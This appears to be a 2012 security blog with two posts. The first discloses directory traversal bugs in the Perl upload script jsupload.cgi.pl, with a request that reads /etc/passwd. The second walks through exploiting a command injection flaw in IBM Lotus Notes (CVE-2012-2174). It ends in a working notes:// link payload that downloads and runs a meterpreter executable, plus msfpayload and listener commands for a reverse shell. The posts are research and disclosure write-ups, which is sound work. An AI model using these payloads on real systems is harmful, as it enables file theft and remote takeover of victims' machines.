donderdag 29 november 2012

Directory traversal vulnerabilities in jsupload.cgi.pl


Summary


Since the glory days of rain forest puppy (http://insecure.org/news/P55-07.txt) I have not spent much time looking at Perl scripts.
Recently however, I was checking out the jsupload.cgi.pl script and discovered two directory traversal vulnerabilities. Versions prior to version number 0.6.4 are vulnerable.

More information about the script can be found here:
http://code.google.com/p/gwtupload/wiki/JsUpload_Documentation#Server_script_(jsupload.cgi.pl)


Directory traversal when reading files


When the script receives a HTTP non-POST request with a value for the parameter "show", the function "writeItemContent" gets called with that value.



In the function "writeItemContent", the user input is used to construct a filename. The contents of the file is then returned to the user.



From the code above, we learn that a remote user has complete control over the $item variable.
This makes it possible to break out of the upload directory by using a slide of "../" characters and ready any file on the system.
By using a poison NULL byte at the end of our file name, it is possible to specify a file extension other than ".bin".

As a result, the following request will return the contents of the /etc/passwd file to a remote user:

GET /cgi-bin/jsupload.cgi.pl?show=../../../../../../../../etc/passwd%00


Directory traversal when writing files



A similar vulnerability is present when uploading files using a POST request.
When the script receives a POST request, the "doPost" function is called.
Within that function, the "saveFile" function is called with the $key variable as a parameter.
This variable is the name of the parameter specified in our POST request.



In the "saveFile" function, the parameter name is used to construct a filename and write to that file.



Because the Perl script uses a ">" character in front of the file name, it is not possible to use the poison NULL byte technique to specifiy our own file extension. As a result, it is only possible to write files with the ".info" and the ".bin" extension to any location on the system.

The following request will upload the file "pwnani.bin" and "pwnani.info" to the root directory on the remote server.





Recommendation

Versions 0.6.4 and before are vulnerable to the attacks described in this post.
The vendor has been contacted about this vulnerability and has issued a new patched version of the script which can be found at: http://code.google.com/p/gwtupload/source/browse/jsupload/src/main/java/jsupload/public/jsupload.cgi.pl

dinsdag 23 oktober 2012

Exploiting the command injection vulnerability in IBM Lotus Notes (CVE-2012-2174)


Background

On the 22nd of August, Moritz Jodeit released an advisory through the Zero Day Initiative about a command injection vulnerability in IBM Lotus Notes.
The original advisory can be found at http://www.zerodayinitiative.com/advisories/ZDI-12-154/.
In the following blog post, I will go through the steps I took to get more information about this vulnerability and demonstrate how I was able to exploit this vulnerability into giving me a remote meterpreter shell.

Details

To start investigating this vulnerability, we have to install a copy of Lotus Notes. I installed a trial version of 8.0.2, but any vulnerable version should do.
As a next step we have to check out the protocol handlers that are installed by Lotus Notes, in particular the “notes://” protocol handler that is mentioned in the advisory.
To achieve this, we fire up the registry editor in windows (Start-> run -> regedit). To register a protocol handler in windows, an application has to write to the “HKEY_CLASSES_ROOT” key.  When we browse this key, we find a “Notes” entry. In one of the subkeys we find the executable and the arguments that are called when the URL handler gets invoked.


Here we see that the executable “C:\Program Files\IBM\Lotus\notes.exe” is run when the URL handler gets called. The “-defini” parameter is passed to the program, as well as the user supplied input, which is referenced by the “%1” variable. For example, notes://Seanpwnani will result in the following system call: 
“C:\Program Files\lotus\notes.exe –defini notes://Seanpwnani”.
The advisory states that besides these two parameters, it is possible to inject additional parameters in the function call to notes.exe.
In order to get a clear view of how the URL handler passes the commands to the executable, we could use a tool like Procmon and look at how the process is being called. Another trick we can use is to replace the notes.exe executable with one that simply outputs the parameters that are passed to it.
The following C source code will compile a small program that prints out the parameters that are passed to it.

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main( int argc, char **argv)
{
    unsigned int i;
    for( i=0;i < argc; i++)
    {
         printf("%s\n", argv[i]);
     }   
   
    getchar();
    return 0;
              
}

Now that we have the original notes.exe file replaced by our own executable file, we can create a small  HTML file to test the vulnerability. The most logical test case to try for this scenario, is to insert a space character and see if we can force the URL handler into parsing it as a new parameter to pass on to the program.
<html>
<a href='notes://Sean1 Sean2 Sean3'>click here</a>
</html>






















From the output of our executable file, we can conclude that is sufficient to insert a space in our data in order to create new parameters for the call to notes.exe. The advisory  indicates that our next step would be to inject the  -RPARAMS parameter, and that this would launch rcplauncher.exe.
Again, we can test this with our executable file. This time we restore the original notes.exe file, and we replace the rcplauncher.exe process with our executable. After a search for “rcplauncher.exe”, we can find its full path at “C:\Program Files\IBM\Lotus\Notes\framework\rcp”.
We update the HTML file to include the –RPARAMS and java –vm parameters discussed in the advisory.
<html>
<a href='notes://Sean1 -RPARAMS java -vm Sean2 Sean3'>click here</a>
</html>

















From the screenshot above we can conclude that notes.exe does execute the rcplauncher.exe process and that we can also supply parameters to this process call, by inserting spaces just as before. As a next step, we restore the original rcplauncher.exe file, and try to determine how we can get code execution through the java –vm parameters. As a first attempt, we just supply a path to an executable. 
<html>
<a href='notes://Sean1 -RPARAMS java -vm c:\windows\system32\calc.exe'>click here</a>
</html>

We receive the following error message:
 








It seems that the process runs a check to see if the executable exists, and in our case it does not exist. We also notice a trailing “/” in the error message. This is an indication that we got the syntax of some parameter wrong. When we do a quick internet search, we can see what kind of syntax the URL handler expects: 
We can now take that into account for our next test, and try the following HTML code.
<html>
<a href='notes://Sean1/pwnani -RPARAMS java -vm c:\windows\system32\calc.exe'>click here</a>
</html>

This time, we are greeted by a calculator window, so we know the syntax is right and we can execute commands on the system.


The next step in exploitation is to pass an argument to the command we are invoking. This is crucial because an attacker can do very little by executing a command without command line arguments. This type of exploit could however be used by an attacker on the same network as the victim. The attacker could put an executable in a shared folder and then execute it through the exploit code.  But our goal should be to create an exploit that works over the internet as well.
Our first bet to pass arguments to our command is to just append them to our command. When we do this we get a very large popup with an error message.
<html>
<a href=’notes://Sean1/pwnani -RPARAMS java -vm c:\windows\system32\cmd.exe /c calc.exe’>click here</a>
</html>




This should come as no surprise, earlier when we added the “/” to our process name, we also received an error page, because rpclauncher checks if the executable exists on the system. However, now we get a different error message, one with a lot of references to eclipse.exe. 
When searching in the lotus notes installation directory, we do find an eclipse.exe process. On my system it is at 
“C:\Program Files\IBM\Lotus\Notes\framework\rcp\eclipse\plugins\com.ibm.rcp.base_6.1.2.200808010926\win32\x86\eclipse.exe”. 
Next, we replace this executable with our own to print out the command line arguments and run the previous test case again.




This confirms that the eclipse.exe process does get called. So far the call hierarchy is:

Protocol handler => notes.exe => rcplauncher.exe => eclipse.exe

What is very interesting to notice is the “-vmargs” parameter that appears a couple of lines under the “-vm” parameter. When we do a quick internet search, we can find some more information on this.


This seems to solve our problem of passing command line arguments to our command we execute. So let’s update our test file again.
<html>
<a href=’notes://Sean1/pwnani -RPARAMS java -vm c:\windows\system32\cmd.exe –vmargs /c calc.exe’>click here</a>
</html>

This time we see the calculator window again so we know we can successfully call a remote executable file and pass arguments to it.



Getting a remote meterpreter shell


The next step in our exploitation adventure is to get a meterpreter shell on the remote system. There are a couple of ways we could do this, but the best way is to write to a vbs script file and then execute it. More information about this can be found on this page: 
As a first step we need to create a meterpreter vbs script that we can use in our exploit. For this example we will create a reverse meterpreter shell that will connect back to localhost on port 4444.

C:\metasploit4\msf3>ruby msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 RPORT=4444 R | ruby msfencode -t vbs -o revshell.vbs


Now that we have our meterpreter vbs file, we can set up a listener in metasploit with the following commands:

use exploit/multi/handler
set PAYLOAD windows/meterpeter/reverse_tcp
set LHOST
 127.0.0.1
set LPORT 4444
exploit

When we run the vbs script we created earlier, we get a meterpreter session in metasploit, confirming that our setup is working. 
We now start a web server on localhost ( I used HFS - http://www.rejetto.com/hfs/) and host the vbs file on it. Then we create the following test cast that will attempt to download and execute the vbs script.

<html><a href='notes://SEAN/pwnani -RPARAMS java -vm c:\windows\system32\cmd.exe -vmargs cmd /q /c echo Set x=CreateObject(Microsoft.XMLHTTP) >v.vbs&echo x.Open "GET","http://127.0.0.1/a.vbs", False >>v.vbs&echo x.Send >>v.vbs&echo Execute x.responseText >>v.vbs&start v.vbs'>click here</a></html>

This produces the following error message:

  
When we take a look at the v.vbs file that was created on the desktop by our exploit, we see the following: 
It appears that somewhere in the process, our quote characters were stripped out. Unfortunately, in vbscript we cannot use single quotes for strings, as single quotes are used for comments.
This causes us to rethink our approach. Luckily for us, we can use single quotes in JavaScript, so our next attempt should be to port everything to JavaScript. 
When we use the “–t vbs” option for msfpayload, it creates a vbscript that will write a meterpreter executable file and execute it. When we use the “-t js_le” option, it will just output an unescaped javascript string of the raw payload in little endian. 
So this means we need to do some extra coding to get everything working in JavaScript. Instead of downloading and executing the JavaScript payload, we will just download and execute a meterpreter executable using JavaScript.
We can get some inspiration from other exploits (http://www.securityfocus.com/bid/10514/exploit) and then come up with the following code:

<html><a href="notes://SEAN1/pwnani -RPARAMS java -vm c:\windows\system32\cmd.exe -vmargs /q /s /c echo var x=new ActiveXObject('Microsoft.XMLHTTP');x.open('GET','http://127.0.0.1/meterpreter.exe', false);x.send();var s=new ActiveXObject('ADODB.Stream');s.Mode=3;s.Type=1;s.Open();s.Write(x.responseBody);s.SaveToFile('C:\\m.exe',2);var w=new ActiveXObject('wscript.shell');w.Run('C:\\m.exe'); > r.js& start cscript r.js& REM">click here!!!</a></html>

One very important thing to note here is that the = sign is also filtered out when it is surrounded by spaces. This can easily be fixed by not putting any spaces around it.
Another crucial part is the “& REM” at the end of our exploit string. A lot of parameters are passed to the eclipse process, the “& REM” will cause the command line to comment out the stuff that is appended to the end of our exploit string. If we do not include this in the exploit, the exploit will not work.

Now that all the pieces are in places, we finally get greeted by a nice meterpreter shell in our metasploit console.